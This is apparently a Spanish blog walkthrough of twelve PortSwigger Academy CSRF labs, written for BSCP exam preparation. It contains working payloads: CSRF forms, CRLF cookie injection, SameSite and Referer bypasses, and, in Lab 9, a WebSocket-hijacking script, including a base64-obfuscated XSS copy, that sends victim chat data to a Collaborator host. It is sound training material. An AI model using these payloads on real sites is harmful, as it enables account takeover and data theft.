PortSwigger Academy - Laboratorios Cross-Site Request Forgery (CSRF)

¡Hola a todos! Aquí estamos de nuevo y esta vez seguimos preparando la certificación Burp Suite Certified Professional (BSCP), que proporciona una base muy buena de cara a auditorías web y gestión de la presión, sobre todo en el examen para el cual te proporcionan 4 horas y hay que explotar hasta 6 vulnerabilidades. Además, se trata de un examen muy barato (<100€) lo que la hace sumamente atractiva.

Antes de nada, recordad que PortSwigger nos permite probar 30 días su versión profesional de Burp Suite. Os recomendamos que activéis esta versión para poder probar todas las funcionalidades de la herramienta.

En esta entrada explicaremos y solucionaremos todos los laboratorios adicionales relativos a Cross-Site Request Forgery (CSRF). Hay muchos walkthroughs sobre cómo resolver estos laboratorios, pero exponerlos aquí nos sirve para afianzar conceptos y enseñaros además algunos trucos de uso de Burp Suite Professional, así como comentar veces que hemos visto las vulnerabilidades estudiadas en los laboratorios en la vida real. Sin más dilación, ¡comenzamos!

A pesar de que este tipo de vulnerabilidades no son muy glamurosas en las auditorías de pentesting, en la vida real pueden tener consecuencias muy graves. Asimismo, no es raro encontrarse CSRF en la vida real, por lo que resulta muy útil entender cómo funciona y cómo puede explotarse.

Lab1 (Apprentice) – CSRF vulnerability with no defenses

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, craft some HTML that uses a CSRF attack to change the viewer’s email address and upload it to your exploit server.». En este laboratorio debemos identificar una vulnerabilidad de Cross-Site Request Forgery (CSRF) para cambiar el correo de un usuario víctima.

Comenzamos mapeando la aplicación y detectamos que el formulario de cambio de correo que aparece tras iniciar sesión con las credenciales «wiener:peter» no posee ningún tipo de mecanismo de protección frente a CSRF. Además, se trata de una operación sensible:

Petición enviada para el cambio de correo

Dando botón derecho en la petición, seleccionamos «Engagement tools» y a su vez «Generate CSRF PoC». Burp Suite Professional nos dará una prueba de concepto que podríamos hostear en nuestro servidor para explotar la vulnerabilidad en un usuario autenticado. Por tanto, simplemente alojamos el código HTML que nos da la herramienta en nuestro «Exploit Server» y se lo enviamos al usuario para resolver el laboratorio.

Nota: recuerda usar un correo que no esté en uso en la aplicación en la PoC.

Lab2 (Practicioner) – CSRF where token validation depends on request method

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address.». En este laboratorio debemos identificar una vulnerabilidad de Cross-Site Request Forgery (CSRF) para cambiar el correo de un usuario víctima.

Comenzamos mapeando la aplicación y detectamos que el formulario de cambio de correo que aparece tras iniciar sesión con las credenciales «wiener:peter» posee ahora un token CSRF. Si intentamos manipularlo, observamos que la aplicación nos da un error ya que lo valida:

Sin embargo, si cambiamos el método de la petición a un GET, podemos apreciar cómo esta validación del token anti-CSRF no se realiza.

Ausencia de validación de token anti-CSRF en método GET

Gracias a ello, podemos de nuevo generar una PoC para explotar el CSRF con Burp Suite Professional, subirla al «Exploit Server» y enviarle a la víctima el exploit:

Nota: recuerda usar un correo que no esté en uso en la aplicación en la PoC.

Lab3 (Practicioner) – CSRF where token validation depends on token being present

Sin embargo, si eliminamos por completo el token de la petición, el servidor no valida su presencia, por lo que podemos bypassearlo:

Ausencia de validación de token anti-CSRF

De nuevo, simplemente generando una PoC sin token anti-CSRF, podemos almacenarla y enviarla a la víctima para resolver el laboratorio.

Nota: recuerda usar un correo que no esté en uso en la aplicación en la PoC.

Lab4 (Practicioner) – CSRF where token is not tied to user session

Sin embargo, si accedemos con las credenciales «carlos:montoya» y obtenemos el token anti-CSRF de dicho usuario del código HTML, podemos observar que puede ser utilizado por el usuario «wiener». Fíjate en el siguiente flujo donde hacemos justamente eso:

Cambio de correo de usuario «wiener» con token anti-CSRF de usuario «carlos»

Por tanto, podemos crear una PoC e incluir en ella un token cualquiera obtenido mediante acceso a la página de un usuario que controlemos. Accedemos de nuevo al usuario «carlos:montoya» y obtenemos un nuevo token. Generamos la PoC y adecuamos el valor del token CSRF para utilizar el token obtenido y se la enviamos a la víctima.

Obtención de nuevo token para el usuario «carlos»

Almacenamiento de exploit y envío a la víctima con token del usuario «carlos»

Nota: recuerda usar un correo que no esté en uso en la aplicación en la PoC.

Lab5 (Practicioner) – CSRF where token is tied to non-session cookie

Sin embargo, tal como vemos la petición, podemos deducir que el token anti-CSRF se basa en un framework diferente al de la gestión de sesiones. De hecho, si cambiamos el token CSRF como hemos visto, la sesión no es cerrada, confirmando este hecho. Por tanto, vamos a probar si introduciendo la Cookie del usuario «carlos» y el token anti-CSRF del usuario «carlos» en una petición de «wiener», el cambio tiene éxito:

Obtención de token anti-CSRF de «carlos»

Obtención de cookie «csrfKey» de «carlos»

Cambio de correo de «wiener» con datos CSRF de «carlos»

Genial, ahora necesitamos una manera de hacer que las cookies del usuario víctima estén bajo nuestro control. Si nos fijamos, en el formulario al realizar una búsqueda, podemos ver que esta se refleja en la cabecera que inicializa las cookies:

Por tanto, vamos a hacer el ataque en dos fases:

Primeramente inicializaremos el valor de la cookie «csrfKey» al valor que tenemos para «wiener» en la víctima
Posteriormente obtendremos un token anti-CSRF de «wiener» y lo usaremos con el valor de la cookie «csrfKey» anterior (recordamos que la validación rota y podemos usar la cookie y token anti-CSRF de otro usuario, en este caso el nuestro, para que el ataque tenga éxito)

El payload utilizado para explotar Cookie Injection es el siguiente (en negrita, la sección donde inicializamos la cookie al valor de «csrfKey» para «wiener»):

<img src="https://0a2600bf036e21a080324985009f00fb.web-security-academy.net/?search=randomvalue%0d%0aSet-Cookie:%20csrfKey=1tjxfOslDcPo4JquNVRUy1673j86eugh%3b%20SameSite=None" onerror="document.forms[0].submit()">

Lo hosteamos y se lo enviamos al atacante. Toda vez que ya sabemos el valor de la cookie, generamos una nueva PoC para explotar CSRF, actualizamos el token anti-CSRF a uno nuevo y lanzamos de nuevo el exploit a la víctima:

Nota: recuerda usar un correo que no esté en uso en la aplicación en la PoC.

Lab6 (Practicioner) – CSRF where token is duplicated in cookie

Como vemos, existe ahora una cookie denominada «csrf» que tiene el mismo valor que el token anti-CSRF. Por tanto, suponemos que ambos valores deben coincidir para poder hacer el cambio de correo. Iniciamos como «wiener» una petición GET a la página donde se puede visualizar su cuenta y tomamos nota del token CSRF obtenido:

El token obtenido es:

BOf52OOYvQnRYdlilJy81Rj5Tja8D0Tj

Hacemos este proceso ya que, si inyectamos un valor en la cookie aleatorio, tal vez el servidor valide los datos y nos la rechace. Como este valor es válido, nos libramos de esa parte. Como siguiente paso, visualizamos que podemos enviar el siguiente exploit a la víctima para inyectar una cookie con un valor arbitrario (puedes leer el laboratorio anterior para ver cómo hemos hecho este paso de manera idéntica):

<img src="https://0a3b00b50372ad5280cf03d8003200c5.web-security-academy.net/?search=randomvalue%0d%0aSet-Cookie:%20csrf=BOf52OOYvQnRYdlilJy81Rj5Tja8D0Tj%3b%20SameSite=None" onerror="document.forms[0].submit()">

Enviamos este contenido a la víctima y toda vez que ya sabemos que la cookie «csrf» tiene el valor «BOf52OOYvQnRYdlilJy81Rj5Tja8D0Tj», procedemos a generar la PoC CSRF, indicando el valor del token anti-CSRF idénticamente como «BOf52OOYvQnRYdlilJy81Rj5Tja8D0Tj». Finalmente, lo enviamos a la víctima y laboratorio resuelto:

Nota: recuerda usar un correo que no esté en uso en la aplicación en la PoC.

Lab7 (Practicioner) – SameSite Lax bypass via method override

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, perform a CSRF attack that changes the victim’s email address. You should use the provided exploit server to host your attack.». En este laboratorio debemos identificar una vulnerabilidad de Cross-Site Request Forgery (CSRF) para cambiar el correo de un usuario víctima.

Comenzamos mapeando la aplicación y detectamos que el formulario de cambio de correo que aparece tras iniciar sesión con las credenciales «wiener:peter» no posee mecanismos de defensa contra CSRF. Sin embargo, debemos asumir que la cookie de sesión adquiere el valor «SameSite:Lax» porque el usuario víctima utiliza Google Chrome y este es su valor por defecto si el servidor no lo indica:

Sin embargo, cuando estamos testeando CSRF, debemos siempre intentar cambiar el método a GET, que es normalmente más sencillo de explotar. En el caso además de SameSite con su valor «Lax», es la única forma de que las cookies se adjunten cross-dominio. Procedemos a cambiar el método a GET y vemos que no es posible utilizarlo.

De igual manera, podemos probar a intentar sobrescribir el método, ya que algunos frameworks como Symfony admiten esto. Procedemos a hacerlo mediante el parámetro «_method»:

Como vemos, la aplicación admite este uso del método GET. Por tanto, para solucionar el laboratorio solo nos queda generar una PoC de CSRF y enviarla al usuario. La PoC habitual no nos sirve, eso sí, dado que debemos mandarle un script que realice un GET y además esta acción debe ser iniciada por la víctima. Para forzar ambas cosas, utilizamos la siguiente PoC:

<script>
    document.location = 'https://0a6d003d0403b82a8039035700050040.web-security-academy.net/my-account/change-email?email=admin1%40admin.admin&_method=POST';
</script>

Esto simula una acción por parte del atacante, cambiando el «document.location» y además hace una petición GET al sitio vulnerable, resolviendo por tanto la ecuación:

Nota: recuerda usar un correo que no esté en uso en la aplicación en la PoC.

Lab8 (Practicioner) – SameSite Strict bypass via client-side redirect

Por tanto, con ambos componentes, podemos explotar el CSRF pero siempre y cuando logremos enviar la petición desde el mismo sitio web. Por ejemplo, podemos lograrlo a través de un open redirect. Para unir las piezas del puzzle, comprobamos en primer lugar que también se puede usar GET para cambiar el correo:

Como segundo paso, detectamos un open redirect también en la web. Para ello, posteamos un comentario y vemos que se produce una redirección automática. Localizamos el código Javascript que se encarga de ello:

Redirección automática a través de Javascript

Analizando el código, vemos que la redirección se produce en base a un parámetro «postId» que a priori es controlado por el atacante. Fíjate que la siguiente URL redirige a la raíz del sitio web:

https://0ad100e9040bfca8953d00f900dc005a.web-security-academy.net/post/comment/confirmation?postId=5/../../

Como decimos, redirige según el código a:

https://0ad100e9040bfca8953d00f900dc005a.web-security-academy.net/

Por tanto, ya podemos construir el ataque de manera sencilla, a través del siguiente payload:

<script>
document.location = 'https://0ad100e9040bfca8953d00f900dc005a.web-security-academy.net/post/comment/confirmation?postId=5/../../my-account/change-email?email=admin1%40admin.admin%26submit=1';
</script>

Como vemos, redirigimos al usuario al cambio de correo mediante un GET. Hosteamos el payload en el «Exploit Server» y se lo enviamos a la víctima para resolver el laboratorio:

Nota: recuerda usar un correo que no esté en uso en la aplicación en la PoC.

Lab9 (Practicioner) – SameSite Strict bypass via sibling domain

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, log in to the victim’s account.». En este laboratorio debemos identificar una vulnerabilidad de Cross-Site WebSocket Hijacking (CSWSH) para exfiltrar el chat de la víctima y acceder a su cuenta de usuario.

En este caso, comenzamos analizando la aplicación y, más concretamente, la funcionalidad de chat que tiene implementada. Si enviamos una serie de mensajes, veremos que utiliza WebSockets.

Tal y como podemos ver, el chat abre un WebSocket pero no posee ningún elemento impredecible en su petición. Esto quiere decir que, si como atacante logramos incluir una petición como la vista en la figura anterior, podemos abrir un chat desde el contexto del usuario víctima. No obstante, esto tampoco nos serviría de gran ayuda porque no veríamos nada.

En otro orden de cosas, vemos que el primer mensaje que se envía al WebSocket es un «READY». Asimismo, vemos también que si recargamos la página de chat, el WebSocket envía un «READY» y obtiene los datos del chat. Esto es más interesante, porque podemos explotar una especie de CSRF en la que «obliguemos» al usuario víctima a abrir el chat y enviar ese «READY» para obtener los datos de su chat. Podemos utilizar una prueba de concepto como la siguiente:

<script>
    var ws = new WebSocket('wss://0ae20085034afbbc83e7192600dd00a7.web-security-academy.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://tfclac1tc70i7l0ag2xi1ydlbch35tti.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

El script anterior es muy sencillo. Simplemente:

Abre un socket en la web vulnerable a CSWSH
Envía un mensaje «READY»
Obtiene los datos del servidor y los envía a nuestro servicio de Burp Collaborator

Guardamos el script en el «Exploit Server» y se lo enviamos a la víctima. Observamos también si recibimos peticiones el Burp Collaborator:

Recepción de mensaje en Burp Collaborator

Como vemos, recibimos el mensaje en el servidor atacante (Burp Collaborator). Sin embargo, ni rastro de los mensajes de la víctima. Esto implica que la cookie de sesión no se está adjuntando a las peticiones que hacemos para crear el WebSocket. Además, haciendo un análisis, vemos que el valor del atributo SameSite de la cookie de sesión es «Strict». Tiene lógica, por tanto, que no obtengamos los mensajes, ya que nuestro dominio malicioso es otro.

Debemos encontrar, por tanto, una vulnerabilidad que nos permita ejecutar el script anterior dentro del mismo sitio. Con mismo sitio, eso sí, no tiene por qué ser esa aplicación, puede ser un subdominio del mismo dominio principal (se considera SameSite). Descubrimos en las respuestas de los recursos Javascript un dominio adicional:

Accedemos al subdominio y vemos que el usuario es vulnerable a XSS incluyendo un payload como:

https://cms-0ae20085034afbbc83e7192600dd00a7.web-security-academy.net/login?username=<script>alert(1)</script>&password=foo

Por tanto, ya podemos construir el payload final que le enviaremos a la víctima (debemos codificar los parámetros para que no interfieran con el flujo del navegador, así que utilizamos un base64 para ello):

<script>
document.location = atob("aHR0cHM6Ly9jbXMtMGFlMjAwODUwMzRhZmJiYzgzZTcxOTI2MDBkZDAwYTcud2ViLXNlY3VyaXR5LWFjYWRlbXkubmV0L2xvZ2luP3VzZXJuYW1lPTxzY3JpcHQ+dmFyJTIwd3M9bmV3JTIwV2ViU29ja2V0KCd3c3M6Ly8wYWUyMDA4NTAzNGFmYmJjODNlNzE5MjYwMGRkMDBhNy53ZWItc2VjdXJpdHktYWNhZGVteS5uZXQvY2hhdCcpO3dzLm9ub3Blbj1mdW5jdGlvbigpe3dzLnNlbmQoJ1JFQURZJyk7fTt3cy5vbm1lc3NhZ2U9ZnVuY3Rpb24oZXZlbnQpe2ZldGNoKCdodHRwczovL3RmY2xhYzF0YzcwaTdsMGFnMnhpMXlkbGJjaDM1dHRpLm9hc3RpZnkuY29tJyx7bWV0aG9kOidQT1NUJyxtb2RlOiduby1jb3JzJyxib2R5OmV2ZW50LmRhdGF9KTt9Ozwvc2NyaXB0PiZwYXNzd29yZD1mb28=");
</script>

Como se ve, se hace uso de un base64 con la función «atob». Este base64 decodificado no es más que:

"https://cms-0ae20085034afbbc83e7192600dd00a7.web-security-academy.net/login?username=<script>var%20ws=new%20WebSocket('wss://0ae20085034afbbc83e7192600dd00a7.web-security-academy.net/chat');ws.onopen=function(){ws.send('READY');};ws.onmessage=function(event){fetch('https://tfclac1tc70i7l0ag2xi1ydlbch35tti.oastify.com',{method:'POST',mode:'no-cors',body:event.data});};</script>&password=foo"

O sea, la URL de XSS. Almacenamos el contenido (script en negrita de arriba) y se lo enviamos a la víctima, observando el Burp Collaborator:

Como vemos, obtenemos el chat de «carlos». ¡¡Perfecto, para terminar simplemente hay que iniciar la sesión!!

Lab10 (Practicioner) – SameSite Lax bypass via cookie refresh

Comenzamos mapeando la superficie de exposición de la aplicación y vemos que, al igual que en laboratorios anteriores, el cambio de correo no dispone de mecanismos de protección frente a CSRF:

Sin embargo, dado que nuestro usuario víctima utiliza Google Chrome, deducimos que el valor de SameSite para la cookie es «Lax». Esto implica que la cookie no se enviará en peticiones a sitios cruzados salvo en los primeros 120 segundos, donde se enviará incluso en peticiones POST. Por ello, si conseguimos refrescar el valor de dicha cookie, tenemos dos minutos para realizar el ataque. Si investigamos el flujo de autenticación, vemos que es OAuth y que, tras autenticarnos, nos habilita una cookie de sesión. Asimismo, si hacemos «logout» en el sistema y volvemos a iniciar sesión, vemos que la cookie se refresca:

Refresco de cookie de sesión tras acceso con OAuth

Por tanto, el flujo de ataque es claro:

Primeramente, redirigiremos al usuario a una nueva ventana en la que debe iniciar su sesión con OAuth. Si ya tiene sesión iniciada (muy probable), este proceso será «automático» y se generará una nueva cookie de sesión
Desde que terminamos el primer paso, tenemos 120 segundos para lanzar el ataque de CSRF sobre el formulario de cambio de correo

En los siguientes snippets tienes el primer y el segundo payload respectivamente. Simplemente alójalos en el servidor y envíalos de manera secuencial y en orden para resolver el laboratorio:

window.onclick = () => {
    window.open('https://0a2600d20465e16781ef0d85003b0073.web-security-academy.net/social-login');
}

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a2600d20465e16781ef0d85003b0073.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="admin@admin.admin" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Nota: recuerda usar un correo que no esté en uso en la aplicación en la PoC.

Lab11 (Practicioner) – CSRF where Referer validation depends on header being present

Comenzamos mapeando la aplicación y tras iniciar sesión con el usuario «wiener:peter» vemos que la petición para cambiar el correo electrónico es a priori vulnerable dado que no presenta ninguna defensa frente a CSRF:

Generamos, por tanto, la prueba de concepto con Burp Suite Professional y la hosteamos en nuestro servidor malicioso:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a98001404cd6d4880c903e700430069.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="foo@foo.foo" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Si probamos nosotros mismos el exploit en un navegador Google Chrome con la sesión de «wiener» abierta, vemos el error:

El error es clarísimo: «Invalid referer header». Por tanto, debemos incluir en nuestro exploit un valor adecuado para la cabecera Referer. Podemos probar primero prescindiendo de ella y, posteriormente si esto no funciona, añadiendo en el Referer de algún modo el dominio original. Dado que el Referer es una cabecera cuyo valor se inicializa client-side, podemos controlarlo. Ajustamos por tanto el payload:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <meta name="referrer" content="never"> 
  <body>
    <form action="https://0a98001404cd6d4880c903e700430069.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="admin@admin.admin" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Lanzamos el exploit a la víctima y… ¡¡Laboratorio resuelto!!

Nota: recuerda usar un correo que no esté en uso en la aplicación en la PoC.

Lab12 (Practicioner) – CSRF with broken Referer validation

Comenzamos de nuevo mapeando la aplicación y vemos el mismo comportamiento, el formulario de cambio de email es vulnerable a CSRF:

Podríamos, por tanto, validar si el servidor hace algún tipo de comprobación. Si lo hiciésemos, veríamos que valida la cabecera Referer (ver laboratorio anterior) y que, además, no enviar la cabecera Referer no es un bypass válido como sí lo era anteriormente. Debemos, por tanto, incluir un valor de la cabecera Referer que pase el control de seguridad que hace el servidor. Normalmente, cualquiera de estas dos opciones sería válida si el control está mal implementado:

Subdominio: http://vulnerable-website.com.attacker-website.com/csrf-attack

Parámetro: http://attacker-website.com/csrf-attack?vulnerable-website.com

Optamos por la segunda opción, aunque debemos especificarle al navegador que no «acorte» el Referer. Esto lo hacemos indicando el valor «unsafe-url» en la cabecera Referrer-Policy (marcado en la imagen). Asimismo, pusheamos el valor esperado en la ruta para que sea incluido en la cabecera Referer.

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a5900810317b46581b2ca1b000600aa.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="admin@admin.admin" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/?0a5900810317b46581b2ca1b000600aa.web-security-academy.net');
      document.forms[0].submit();
    </script>
  </body>
</html>

Lanzamos el exploit a la víctima y… ¡¡Laboratorio resuelto!!

Nota: recuerda usar un correo que no esté en uso en la aplicación en la PoC.

~km0xu95

Lab1 (Apprentice) – CSRF vulnerability with no defenses

Lab2 (Practicioner) – CSRF where token validation depends on request method

Lab3 (Practicioner) – CSRF where token validation depends on token being present

Lab4 (Practicioner) – CSRF where token is not tied to user session

Lab5 (Practicioner) – CSRF where token is tied to non-session cookie

Lab6 (Practicioner) – CSRF where token is duplicated in cookie

Lab7 (Practicioner) – SameSite Lax bypass via method override

Lab8 (Practicioner) – SameSite Strict bypass via client-side redirect

Lab9 (Practicioner) – SameSite Strict bypass via sibling domain

Lab10 (Practicioner) – SameSite Lax bypass via cookie refresh

Lab11 (Practicioner) – CSRF where Referer validation depends on header being present

Lab12 (Practicioner) – CSRF with broken Referer validation

Política de Cookies